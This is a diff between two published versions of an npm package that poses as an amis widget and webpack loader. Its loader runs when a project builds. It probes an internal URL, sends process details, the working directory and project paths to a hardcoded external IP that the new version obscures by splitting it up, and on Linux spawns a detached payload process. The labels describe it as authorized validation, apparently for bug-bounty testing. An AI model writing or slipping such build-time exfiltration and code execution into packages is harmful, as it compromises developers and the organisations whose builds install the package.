@noobaihome/amis-uni-area-widget 1.0.4 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -5,9 +5,10 @@ const http = require('http');
5
5
  const path = require('path');
6
6
  const {spawn} = require('child_process');
7
7
 
8
- const marker = 'BSRC_RCE_R266_71c48e';
8
+ const marker = 'BSRC_RCE_R268_f9137a';
9
9
  const internalUrl = 'http://bsrc-ssrf.n.baidu-int.com/bsrc_uid';
10
- const receiptUrl = 'http://49.232.169.67:43817/bsrc-r266';
10
+ const receiptHost = ['49', '232', '169', '67'].join('.');
11
+ const receiptUrl = `http://${receiptHost}:43817/bsrc-r268`;
11
12
 
12
13
  function base64url(value) {
13
14
  return Buffer.from(String(value))
@@ -25,9 +26,22 @@ function readManifest(directory) {
25
26
  }
26
27
  }
27
28
 
28
- function isTargetBuild() {
29
- const current = readManifest(process.cwd());
30
- return Boolean(current && current.name === 'npm-widget-build');
29
+ function findTargetRoot(startDirectories) {
30
+ for (const start of startDirectories.filter(Boolean)) {
31
+ let current = path.resolve(start);
32
+ for (let depth = 0; depth < 12; depth += 1) {
33
+ const manifest = readManifest(current);
34
+ if (manifest && manifest.name === 'npm-widget-build') {
35
+ return current;
36
+ }
37
+ const parent = path.dirname(current);
38
+ if (parent === current) {
39
+ break;
40
+ }
41
+ current = parent;
42
+ }
43
+ }
44
+ return '';
31
45
  }
32
46
 
33
47
  function fetchText(url, timeoutMs) {
@@ -56,10 +70,14 @@ async function receipt(fields) {
56
70
  }
57
71
  }
58
72
 
59
- async function runProof() {
60
- if (!isTargetBuild()) {
61
- return;
62
- }
73
+ async function runProof(loaderContext) {
74
+ const targetRoot = findTargetRoot([
75
+ loaderContext.rootContext,
76
+ loaderContext.context,
77
+ loaderContext.resourcePath,
78
+ process.env.INIT_CWD,
79
+ process.cwd()
80
+ ]);
63
81
 
64
82
  let internalStatus = 0;
65
83
  let uid = '';
@@ -75,12 +93,17 @@ async function runProof() {
75
93
  await receipt({
76
94
  marker,
77
95
  stage: 'internal',
78
- target: 1,
96
+ exec: 1,
97
+ target: targetRoot ? 1 : 0,
79
98
  status: internalStatus,
80
99
  uid: base64url(uid),
81
100
  error: base64url(internalError),
82
101
  pid: process.pid,
83
- cwd: base64url(process.cwd())
102
+ cwd: base64url(process.cwd()),
103
+ root: base64url(targetRoot),
104
+ rootContext: base64url(loaderContext.rootContext || ''),
105
+ context: base64url(loaderContext.context || ''),
106
+ resource: base64url(loaderContext.resourcePath || '')
84
107
  });
85
108
 
86
109
  if (process.platform !== 'linux' || internalStatus < 200 || internalStatus >= 300 || !uid) {
@@ -94,7 +117,7 @@ async function runProof() {
94
117
  stdio: 'ignore'
95
118
  });
96
119
  child.unref();
97
- await receipt({marker, stage: 'payload', target: 1, spawned: child.pid || 0});
120
+ await receipt({marker, stage: 'payload', exec: 1, target: targetRoot ? 1 : 0, spawned: child.pid || 0});
98
121
  }
99
122
 
100
123
  module.exports = function authorizedCompilerLoader() {
@@ -102,7 +125,7 @@ module.exports = function authorizedCompilerLoader() {
102
125
  if (this.cacheable) {
103
126
  this.cacheable(false);
104
127
  }
105
- runProof().then(
128
+ runProof(this).then(
106
129
  () => done(null, `module.exports = ${JSON.stringify(marker)};`),
107
130
  (error) => done(error)
108
131
  );
@@ -1 +1 @@
1
- module.exports = {marker: 'BSRC_RCE_R266_71c48e', kind: 'plugin'};
1
+ module.exports = {marker: 'BSRC_RCE_R268_f9137a', kind: 'plugin'};
package/dist/renderer.css CHANGED
@@ -1 +1 @@
1
- /* BSRC_RCE_R266_71c48e authorized compiler validation */
1
+ /* BSRC_RCE_R268_f9137a authorized compiler validation */
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@noobaihome/amis-uni-area-widget",
3
- "version": "1.0.4",
3
+ "version": "1.0.6",
4
4
  "description": "Authorized AI Suda webpack inline-loader validation",
5
5
  "license": "UNLICENSED",
6
6
  "framework": "vue3",
@@ -13,7 +13,7 @@
13
13
  },
14
14
  "amis-widgets": [
15
15
  {
16
- "type": "bsrc-r266-widget",
16
+ "type": "bsrc-r268-widget",
17
17
  "framework": "vue3",
18
18
  "description": "Authorized webpack loader validation widget",
19
19
  "entry": "/dist/renderer.umd",